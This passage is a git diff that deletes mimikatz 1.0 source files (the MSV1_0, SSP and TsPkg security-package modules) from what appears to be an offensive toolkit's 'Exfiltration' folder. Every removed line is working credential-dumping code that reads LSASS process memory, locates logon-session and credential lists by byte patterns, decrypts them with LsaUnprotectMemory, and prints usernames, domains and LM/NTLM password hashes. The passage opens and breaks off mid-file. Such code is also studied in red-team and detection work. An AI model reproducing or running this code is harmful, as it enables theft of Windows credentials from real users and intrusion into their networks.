- LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG)));
- LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
- LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
- LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long));
- LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
-#endif
- if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
- {
- PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
-#ifdef _M_X64
- offsetListe = OFFS_WALL_LogonSessionList;
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- pattern = PTRN_WIN5_LogonSessionList;
- taille = sizeof(PTRN_WIN5_LogonSessionList);
- offsetCount = OFFS_WIN5_LogonSessionListCount;
- }
- else
- {
- pattern = PTRN_WIN6_LogonSessionList;
- taille = sizeof(PTRN_WIN6_LogonSessionList);
- if(mod_system::GLOB_Version.dwBuildNumber < 8000)
- offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
- else
- offsetCount = OFFS_WIN8_LogonSessionListCount;
- }
-#elif defined _M_IX86
- if(mod_system::GLOB_Version.dwBuildNumber < 8000)
- {
- if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
- {
- pattern = PTRN_WN51_LogonSessionList;
- taille = sizeof(PTRN_WN51_LogonSessionList);
- offsetListe = OFFS_WN51_LogonSessionList;
- }
- else
- {
- pattern = PTRN_WNO8_LogonSessionList;
- taille = sizeof(PTRN_WNO8_LogonSessionList);
- offsetListe = OFFS_WNO8_LogonSessionList;
- offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
- }
- }
- else
- {
- pattern = PTRN_WIN8_LogonSessionList;
- taille = sizeof(PTRN_WIN8_LogonSessionList);
- offsetListe = OFFS_WIN8_LogonSessionList;
- offsetCount = OFFS_WIN8_LogonSessionListCount;
- }
-#endif
- MODULEINFO mesInfos;
- if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
- {
- pointeur = reinterpret_cast(&LogonSessionList);
- if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
- {
- *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- if(offsetCount)
- {
- pointeur = reinterpret_cast(&LogonSessionListCount);
- if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
- *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- }
- }
- }
- }
- return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
-}
-
-bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
-{
- if(searchLogonSessionList())
- {
- LONG offsetToLuid, offsetToCredentials;
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
- offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
- }
- else
- {
- offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
- offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
- if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
- {
-#ifdef _M_X64
- offsetToCredentials += 4*sizeof(PVOID);
-#elif defined _M_IX86
- offsetToCredentials += 2*sizeof(PVOID);
-#endif
- }
- }
-
- ULONG nbListes = 0;
- if(LogonSessionListCount)
- mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
- else nbListes = 1;
-
- PLIST_ENTRY pLogSession = NULL;
- for(ULONG i = 0; i < nbListes; i++)
- {
- if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LogonSessionList + i), offsetToLuid, logId))
- {
- BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
- if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
- {
- PVOID monPtr = *reinterpret_cast(kiwiMSVListEntry + offsetToCredentials);
- if(monPtr)
- {
- BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
- if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
- {
- PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast(kiwiMSVCredentials);
- if(mesCreds->PrimaryCredentials)
- {
- BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
- if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
- {
- decryptAndDisplayCredsBlock(&reinterpret_cast(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
- } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
- delete [] kiwiMSVPrimaryCredentials;
-
- } else (*outputStream) << L"n.s. (PrimaryCredentials KO)";
-
- }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
- delete [] kiwiMSVCredentials;
-
- } else (*outputStream) << L"n.s. (Credentials KO)";
-
- } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
- delete [] kiwiMSVListEntry;
-
- break;
- }
- }
- if(!pLogSession)
- (*outputStream) << L"n.t. (LUID KO)";
- }
- else (*outputStream) << L"n.a. (msv1_0 KO)";
- return true;
-}
-
-bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
-{
- if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
- {
- BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
- if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
- {
- mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
- PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast(monBuffer);
-
- NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
- NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
-
- wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
- wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
-
- if(justSecurity)
- (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
- else
- {
- (*outputStream) << endl <<
- L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
- L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
- L"\t * Hash LM : " << lmHash << endl <<
- L"\t * Hash NTLM : " << ntHash;
- }
- } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)";
-
- delete [] monBuffer;
- } else (*outputStream) << L"n.s. (Block Credentials KO)";
-
- return true;
-}
-
-void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
-{
- if(String->Buffer)
- String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress)));
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h
deleted file mode 100644
index cf8ccac..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h
+++ /dev/null
@@ -1,105 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_msv1_0 {
-
-private:
- typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
- PVOID unk0; // next?
- LSA_UNICODE_STRING Primary;
- LSA_UNICODE_STRING Credentials;
- } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;
-
- typedef struct _KIWI_MSV1_0_CREDENTIALS {
- PVOID unk0; // next?
- DWORD AuthenticationPackageId;
- PVOID PrimaryCredentials;
- } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;
-
- typedef struct _KIWI_MSV1_0_LIST_5 {
- struct _KIWI_MSV1_0_LIST_5 *Flink;
- struct _KIWI_MSV1_0_LIST_5 *Blink;
- LUID LocallyUniqueIdentifier;
- LSA_UNICODE_STRING UserName;
- LSA_UNICODE_STRING Domaine;
- PVOID unk14; // 0
- PVOID unk15; // 0
- PVOID unk16; // offset unk_181A080
- DWORD unk17; // 0Ah
- DWORD unk18; // 2
- #ifdef _M_IX86
- DWORD unk19;
- #endif
- DWORD unk20; // 5AC4186Ch
- DWORD unk21; // 1CD6BFDh
- LSA_UNICODE_STRING LogonServer;
- PKIWI_MSV1_0_CREDENTIALS Credentials;
- PVOID unk22; // 0C14h
- PVOID unk23; // 0BFCh
- } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5;
-
- typedef struct _KIWI_MSV1_0_LIST_6 {
- struct _KIWI_MSV1_0_LIST_6 *Flink;
- struct _KIWI_MSV1_0_LIST_6 *Blink;
- PVOID unk0; // unk_18457A0
- DWORD unk1; // 0FFFFFFFFh
- DWORD unk2; // 0
- PVOID unk3; // 0
- PVOID unk4; // 0
- PVOID unk5; // 0
- PVOID unk6; // 0C04h
- PVOID unk7; // 0
- PVOID unk8; // 0C08h
- PVOID unk9; // 0
- PVOID unk10; // 0
- DWORD unk11; // 0
- DWORD unk12; // 0
- PVOID unk13; // offset off_18456A0
- LUID LocallyUniqueIdentifier;
- LUID SecondaryLocallyUniqueIdentifier;
- LSA_UNICODE_STRING UserName;
- LSA_UNICODE_STRING Domaine;
- PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!!
- PVOID unk15; // 0
- PVOID unk16; // offset unk_181A080
- DWORD unk17; // 0Ah
- DWORD unk18; // 2
- #ifdef _M_IX86
- DWORD unk19;
- #endif
- DWORD unk20; // 5AC4186Ch
- DWORD unk21; // 1CD6BFDh
- LSA_UNICODE_STRING LogonServer;
- PKIWI_MSV1_0_CREDENTIALS Credentials;
- PVOID unk22; // 0C14h
- PVOID unk23; // 0BFCh
- } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6;
-
- typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
- LSA_UNICODE_STRING LogonDomainName;
- LSA_UNICODE_STRING UserName;
- BYTE NtOwfPassword[0x10];
- BYTE LmOwfPassword[0x10];
- BOOLEAN NtPasswordPresent;
- BOOLEAN LmPasswordPresent;
- wchar_t BuffDomaine[MAX_DOMAIN_LEN];
- wchar_t BuffUserName[MAX_USERNAME_LEN];
- } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
-
- static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
-
- static PLIST_ENTRY LogonSessionList;
- static PULONG LogonSessionListCount;
- static bool searchLogonSessionList();
-
- static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity);
-public:
- static bool getMSV(vector * arguments);
- static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity);
-};
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp
deleted file mode 100644
index 86dab86..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp
+++ /dev/null
@@ -1,92 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "ssp.h"
-#include "..\..\global.h"
-mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL;
-mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL;
-
-bool mod_mimikatz_sekurlsa_ssp::getSSP(vector * arguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getSSPLogonData, wstring(L"ssp")));
- return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
-}
-
-bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList()
-{
-#ifdef _M_X64
- BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
- LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3;
- BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15};
- LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3;
-#elif defined _M_IX86
- BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
- LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1;
-#endif
-
- if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList)
- {
- PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
- pointeur= reinterpret_cast(&SspCredentialList);
-
-#ifdef _M_X64
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- pattern = PTRN_WIN5_SspCredentialList;
- taille = sizeof(PTRN_WIN5_SspCredentialList);
- offset = OFFS_WIN5_SspCredentialList;
- }
- else
- {
- pattern = PTRN_WIN6_SspCredentialList;
- taille = sizeof(PTRN_WIN6_SspCredentialList);
- offset = OFFS_WIN6_SspCredentialList;
- }
-#elif defined _M_IX86
- pattern = PTRN_WALL_SspCredentialList;
- taille = sizeof(PTRN_WALL_SspCredentialList);
- offset = OFFS_WALL_SspCredentialList;
-#endif
- if(HMODULE monModule = LoadLibrary(L"msv1_0"))
- {
- MODULEINFO mesInfos;
- if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
- {
- mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset);
- *pointeur += pModMSV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- }
- FreeLibrary(monModule);
- }
- }
- return (SspCredentialList != NULL);
-}
-
-bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
-{
- if(searchSSPEntryList())
- {
- KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
- DWORD monNb = 0;
- if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
- {
- while(mesCredentials.Flink != SspCredentialList)
- {
- if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
- {
- if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
- {
- mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
- monNb++;
- }
- }
- }
- }
- }
- else (*outputStream) << L"n.a. (SSP KO)";
-
- return true;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h
deleted file mode 100644
index d2d5396..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h
+++ /dev/null
@@ -1,32 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../mod_mimikatz_sekurlsa.h"
-
-class mod_mimikatz_sekurlsa_ssp {
-
-private:
- typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY {
- struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink;
- struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink;
- ULONG References;
- ULONG CredentialReferences;
- LUID LogonId;
- ULONG unk0;
- ULONG unk1;
- ULONG unk2;
- KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
- } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY;
-
- static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList;
- static bool searchSSPEntryList();
-
-public:
- static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV;
- static bool getSSP(vector * arguments);
- static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity);
-};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp
deleted file mode 100644
index 71e3751..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "tspkg.h"
-#include "..\..\global.h"
-mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
-PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast(NULL);
-
-bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector * arguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getTsPkgLogonData, wstring(L"tspkg")));
- return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
-}
-
-bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
-{
-#ifdef _M_X64
- BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
- LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
-#elif defined _M_IX86
- BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
- LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
-
- BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
- LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
-#endif
-
- if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
- {
- PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
-
- pointeur= reinterpret_cast(&TSGlobalCredTable);
-#ifdef _M_X64
- pattern = PTRN_WALL_TSGlobalCredTable;
- taille = sizeof(PTRN_WALL_TSGlobalCredTable);
- offset = OFFS_WALL_TSGlobalCredTable;
-#elif defined _M_IX86
- if(mod_system::GLOB_Version.dwBuildNumber < 8000)
- {
- pattern = PTRN_WNO8_TSGlobalCredTable;
- taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
- offset = OFFS_WNO8_TSGlobalCredTable;
- }
- else
- {
- pattern = PTRN_WIN8_TSGlobalCredTable;
- taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
- offset = OFFS_WIN8_TSGlobalCredTable;
- }
-#endif
-
- if(HMODULE monModule = LoadLibrary(L"tspkg"))
- {
- MODULEINFO mesInfos;
- if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
- {
- mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
- *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll);
- }
- FreeLibrary(monModule);
- }
- }
- return (pModTSPKG && TSGlobalCredTable);
-}
-
-bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
-{
- if(searchTSPKGFuncs())
- {
- PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
- BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
- if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
- {
- if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
- {
- pLogSession = reinterpret_cast(monBuffP);
- if(pLogSession->pTsPrimary)
- {
- if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
- mesCreds = &(reinterpret_cast